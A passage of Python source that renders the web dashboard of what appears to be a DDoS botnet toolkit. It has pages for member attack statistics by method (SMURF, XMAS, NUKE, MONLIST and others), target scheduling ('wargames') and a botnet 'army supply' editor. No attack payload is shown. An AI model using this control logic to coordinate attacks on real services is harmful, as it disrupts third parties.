  847. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  848. grid_smurf = m[12][0:4] # smurf
  849. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  850. grid_xmas = m[13][0:4] # xmas
  851. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  852. grid_nuke = m[14][0:4] # nuke
  853. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  854. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  855. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  856. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  857. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  858. try:
  859. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  860. except:
  861. grid_contact= "invalid"
  862. try:
  863. grid_id = m[16] # id (plain id)
  864. except:
  865. grid_id = "invalid!"
  866. elif version == 15: # v1.2
  867. grid_loris = m[9][0:4] # loris
  868. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  869. grid_ufosyn = m[10][0:4] # ufosyn
  870. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  871. grid_spray = m[11][0:4] # spray
  872. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  873. grid_smurf = m[12][0:4] # smurf
  874. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  875. grid_xmas = m[13][0:4] # xmas
  876. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  877. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  878. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  879. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  880. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  881. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  882. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  883. try:
  884. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  885. except:
  886. grid_contact= "invalid"
  887. try:
  888. grid_id = m[15] # id (plain id)
  889. except:
  890. grid_id = "invalid!"
  891. elif version == 12: # v1.1
  892. grid_loris = m[9][0:4] # loris
  893. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  894. grid_ufosyn = m[10][0:4] # ufosyn
  895. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  896. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  897. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  898. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  899. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  900. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  901. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  902. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  903. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  904. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  905. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  906. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  907. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  908. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  909. try:
  910. grid_id = m[12] # id (plain id)
  911. except:
  912. grid_id = "invalid!"
  913. elif version == 11: # v1.0
  914. grid_loris = m[9][0:4] # loris
  915. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  916. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  917. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  918. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  919. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  920. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  921. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  922. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  923. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  924. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  925. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  926. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  927. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  928. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  929. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  930. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  931. try:
  932. grid_id = m[11] # id (plain id)
  933. except:
  934. grid_id = "invalid!"
  935. elif version == 10: # v0.9
  936. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  937. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  938. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  939. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  940. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  941. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  942. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  943. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  944. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  945. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  946. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  947. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  948. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  949. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  950. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  951. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  952. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  953. try:
  954. grid_id = m[10] # id (plain id)
  955. except:
  956. grid_id = "invalid!"
  957. else: # no valid version
  958. pass
  959. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  960. else: # not valid stream data
  961. pass
  962. grid_table += "</table>"
  963. if mothership_members == 0:
  964. mothership_members = "¿?"
  965. if unknown_members == 0:
  966. unknown_members = "¿?"
  967. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  968. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr></table><br><hr><br>"
  969. grid_table = mother_grid + grid_table + "</div>"
  970. return grid_table
  971. def html_grid(self):
  972. if self.ranking == "Rookie": # Rookie
  973. your_ranking = "<font color='white'>Rookie [*]</font>"
  974. elif self.ranking == "Mercenary": # Mercenary
  975. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  976. elif self.ranking == "Bandit": # Bandit
  977. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  978. elif self.ranking == "UFOmmander!": # UFOmmander!
  979. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  980. elif self.ranking == "UFOl33t!": # UFOl33t!
  981. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  982. else:
  983. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  984. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  985. device_state = "OFF"
  986. device = "GRID device: <font color='red'>OFF</font><br>"
  987. else:
  988. device_state = "ON"
  989. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  990. data = json.load(gridcfg_json_file)
  991. gridcfg_json_file.close()
  992. grid_token = data["grid_token"]
  993. grid_contact = data["grid_contact"]
  994. grid_contact.encode('utf-8')
  995. grid_nick = data["grid_nick"]
  996. grid_nick.encode('utf-8')
  997. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  998. if device_state == "OFF":
  999. grid_panel = ""
  1000. else:
  1001. grid_table = self.generate_grid()
  1002. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  1003. if device_state == "OFF":
  1004. dec_panel = ""
  1005. else:
  1006. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  1007. if device_state == "OFF":
  1008. sync_panel = ""
  1009. else:
  1010. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  1011. if device_state == "OFF":
  1012. transfer_panel = ""
  1013. else:
  1014. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  1015. if device_state == "OFF":
  1016. remove_grid = ""
  1017. else:
  1018. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  1019. return self.pages["/header"] + """<script language="javascript">
  1020. function GridProfile() {
  1021. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1022. }
  1023. function RemoveGrid() {
  1024. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1025. }
  1026. function Stats() {
  1027. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1028. }
  1029. function Sync_panel(){
  1030. document.getElementById("sync_panel_block").style.display = "block";
  1031. document.getElementById("dec_panel").style.display = "none";
  1032. document.getElementById("transfer_panel").style.display = "none";
  1033. }
  1034. function SyncGrid(){
  1035. grid_source=document.getElementById("grid_source").value
  1036. if(grid_source == "") {
  1037. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1038. return
  1039. }else{
  1040. params="grid_source="+escape(grid_source)
  1041. runCommandX("cmd_sync_grid",params)
  1042. setTimeout("location.reload()", 10000)
  1043. }
  1044. }
  1045. function Transfer_panel(){
  1046. document.getElementById("transfer_panel").style.display = "block";
  1047. document.getElementById("sync_panel_block").style.display = "none";
  1048. document.getElementById("dec_panel").style.display = "none";
  1049. }
  1050. function TransferGrid() {
  1051. grid_source=document.getElementById("grid_source_upload").value
  1052. grid_key=document.getElementById("grid_key_upload").value
  1053. if(grid_source == "") {
  1054. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1055. return
  1056. }else{
  1057. if(grid_key == "") {
  1058. window.alert("You need to enter a valid key (provided by someone)");
  1059. return
  1060. }else{
  1061. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1062. runCommandX("cmd_transfer_grid",params)
  1063. setTimeout("location.reload()", 10000)
  1064. }
  1065. }
  1066. }
  1067. function Decryption_panel(){
  1068. document.getElementById("dec_panel").style.display = "block";
  1069. document.getElementById("transfer_panel").style.display = "none";
  1070. document.getElementById("sync_panel_block").style.display = "none";
  1071. }
  1072. function Decrypt_grid(){
  1073. grid_key=document.getElementById("grid_key").value
  1074. if(grid_key == "") {
  1075. window.alert("You need to enter a valid key (provided by someone)");
  1076. return
  1077. }else{
  1078. params="grid_key="+escape(grid_key)
  1079. runCommandX("cmd_decrypt_grid",params)
  1080. panel_enc = document.getElementById("grid_panel_enc").style.display
  1081. if(panel_enc == "block"){
  1082. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1083. }
  1084. }
  1085. }
  1086. function GridFilter(filter, key){
  1087. params="filter="+escape(filter)+"&key="+escape(key)
  1088. runCommandX("cmd_grid_filter", params)
  1089. setTimeout("Decrypt_grid()", 2000)
  1090. }
  1091. </script>
  1092. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1093. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1094. <br><center>
  1095. <table cellpadding="5" cellspacing="5"><tr>
  1096. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid!. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1097. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1098. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1099. """ + self.pages["/footer"]
  1100. def generate_wargames(self):
  1101. with open(self.wargames_file) as f:
  1102. for line in f:
  1103. line = line.strip()
  1104. f.close()
  1105. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1106. for m in self.list_wargames: # list = creation, target, estimated
  1107. if wargames_msg_sep in m:
  1108. m = m.split(wargames_msg_sep)
  1109. wargame_creation = m[0][0:12] # creation date
  1110. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1111. wargame_target = m[1][0:12] # target (obfuscation)
  1112. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1113. wargame_estimated = m[2][0:12] # estimated date
  1114. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1115. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1116. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1117. wargame_status = wargame_state # status (obfuscated like state)
  1118. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1119. wargames_table += "</table>"
  1120. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1121. wargames_table = mother_wargame + wargames_table + "</div>"
  1122. return wargames_table
  1123. def html_wargames(self):
  1124. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1125. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1126. wargames_table = self.generate_wargames()
  1127. return self.pages["/header"] + """<script language="javascript">
  1128. function Decrypt_wargames(){
  1129. wargames_deckey=document.getElementById("wargames_deckey").value
  1130. if(wargames_deckey == "") {
  1131. window.alert("You need to enter a valid key (provided by someone)");
  1132. return
  1133. }else{
  1134. params="wargames_deckey="+escape(wargames_deckey)
  1135. runCommandX("cmd_decrypt_wargames",params)
  1136. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1137. if(panel_enc == "block"){
  1138. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1139. }
  1140. }
  1141. }
  1142. function SyncWargames(){
  1143. wargames_source=document.getElementById("wargames_source").value
  1144. if(wargames_source == "") {
  1145. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1146. return
  1147. }else{
  1148. params="wargames_source="+escape(wargames_source)
  1149. runCommandX("cmd_sync_wargames",params)
  1150. setTimeout("location.reload()", 10000)
  1151. }
  1152. }
  1153. function Send() {
  1154. wargames_source2=document.getElementById("wargames_source2").value
  1155. wargames_enckey=document.getElementById("wargames_enckey").value
  1156. wargames_target=document.getElementById("wargames_target").value
  1157. wargames_estimated=document.getElementById("wargames_estimated").value
  1158. if(wargames_source2 == "") {
  1159. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1160. return
  1161. }else{
  1162. if(wargames_enckey == "") {
  1163. window.alert("You need to enter a valid key (provided by someone)");
  1164. return
  1165. }else{
  1166. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1167. runCommandX("cmd_transfer_wargame",params)
  1168. setTimeout("location.reload()", 10000)
  1169. }
  1170. }
  1171. }
  1172. function JobRemove(id) {
  1173. params="id="+escape(id)
  1174. runCommandX("cmd_job_remove",params)
  1175. setTimeout("Decrypt_wargames()", 2000)
  1176. }
  1177. function JobAdd(id) {
  1178. params="id="+escape(id)
  1179. runCommandX("cmd_job_add", params)
  1180. setTimeout("Decrypt_wargames()", 2000)
  1181. }
  1182. function JobAddAll() {
  1183. runCommandX("cmd_job_add_all")
  1184. setTimeout("Decrypt_wargames()", 2000)
  1185. }
  1186. function JobCancel(id) {
  1187. params="id="+escape(id)
  1188. runCommandX("cmd_job_cancel", params)
  1189. setTimeout("Decrypt_wargames()", 2000)
  1190. }
  1191. function JobRemoveAll(key) {
  1192. params="key="+escape(key)
  1193. runCommandX("cmd_job_remove_all", params)
  1194. setTimeout("Decrypt_wargames()", 2000)
  1195. }
  1196. function JobCancelAll() {
  1197. runCommandX("cmd_job_cancel_all")
  1198. setTimeout("Decrypt_wargames()", 2000)
  1199. }
  1200. function JobFilter(filter, key) {
  1201. params="filter="+escape(filter)+"&key="+escape(key)
  1202. runCommandX("cmd_job_filter", params)
  1203. setTimeout("Decrypt_wargames()", 2000)
  1204. }
  1205. function EditSupply(){
  1206. if(document.getElementById("supply_edit").value == "EDIT"){
  1207. document.getElementById("supply_botnet").readOnly = false;
  1208. document.getElementById("supply_loic").readOnly = false;
  1209. document.getElementById("supply_loris").readOnly = false;
  1210. document.getElementById("supply_ufosyn").readOnly = false;
  1211. document.getElementById("supply_spray").readOnly = false;
  1212. document.getElementById("supply_smurf").readOnly = false;
  1213. document.getElementById("supply_xmas").readOnly = false;
  1214. document.getElementById("supply_nuke").readOnly = false;
  1215. document.getElementById("supply_tachyon").readOnly = false;
  1216. document.getElementById("supply_monlist").readOnly = false;
  1217. document.getElementById("supply_edit").title = "Set global army supply..."
  1218. document.getElementById("supply_edit").value = "SET"
  1219. document.getElementById("supply_edit").innerHTML = "SET!"
  1220. }else{
  1221. supply_botnet=document.getElementById("supply_botnet").value
  1222. supply_loic=document.getElementById("supply_loic").value
  1223. supply_loris=document.getElementById("supply_loris").value
  1224. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1225. supply_spray=document.getElementById("supply_spray").value
  1226. supply_smurf=document.getElementById("supply_smurf").value
  1227. supply_xmas=document.getElementById("supply_xmas").value
  1228. supply_nuke=document.getElementById("supply_nuke").value
  1229. supply_tachyon=document.getElementById("supply_tachyon").value
  1230. supply_monlist=document.getElementById("supply_monlist").value
  1231. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1232. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1233. return
  1234. }else{
  1235. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1236. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1237. return
  1238. }else{
  1239. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1240. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1241. return
  1242. }else{
  1243. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1244. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1245. return
  1246. }else{
  1247. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1248. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1249. return
  1250. }else{
  1251. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1252. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1253. return
  1254. }else{
  1255. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1256. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1257. return
  1258. }else{
  1259. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1260. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1261. return
  1262. }else{
  1263. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1264. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1265. return
  1266. }else{
  1267. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1268. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1269. return
  1270. }else{
  1271. document.getElementById("supply_botnet").readOnly = true;
  1272. document.getElementById("supply_loic").readOnly = true;
  1273. document.getElementById("supply_loris").readOnly = true;
  1274. document.getElementById("supply_ufosyn").readOnly = true;
  1275. document.getElementById("supply_spray").readOnly = true;
  1276. document.getElementById("supply_smurf").readOnly = true;
  1277. document.getElementById("supply_xmas").readOnly = true;
  1278. document.getElementById("supply_nuke").readOnly = true;
  1279. document.getElementById("supply_tachyon").readOnly = true;
  1280. document.getElementById("supply_monlist").readOnly = true;
  1281. document.getElementById("supply_edit").title = "Edit global army supply..."
  1282. document.getElementById("supply_edit").value = "EDIT"
  1283. document.getElementById("supply_edit").innerHTML = "EDIT"
  1284. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)
  1285. runCommandX("cmd_edit_supply",params)
  1286. setTimeout("Decrypt_wargames()", 2000)
  1287. }
  1288. }
  1289. }
  1290. }
  1291. }
  1292. }
  1293. }
  1294. }
  1295. }
  1296. }
  1297. }
  1298. }
  1299. </script>
  1300. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1301. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1302. <br>
  1303. <center>
  1304. <table cellpadding="5" cellspacing="5"><tr>
  1305. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1306. <td>
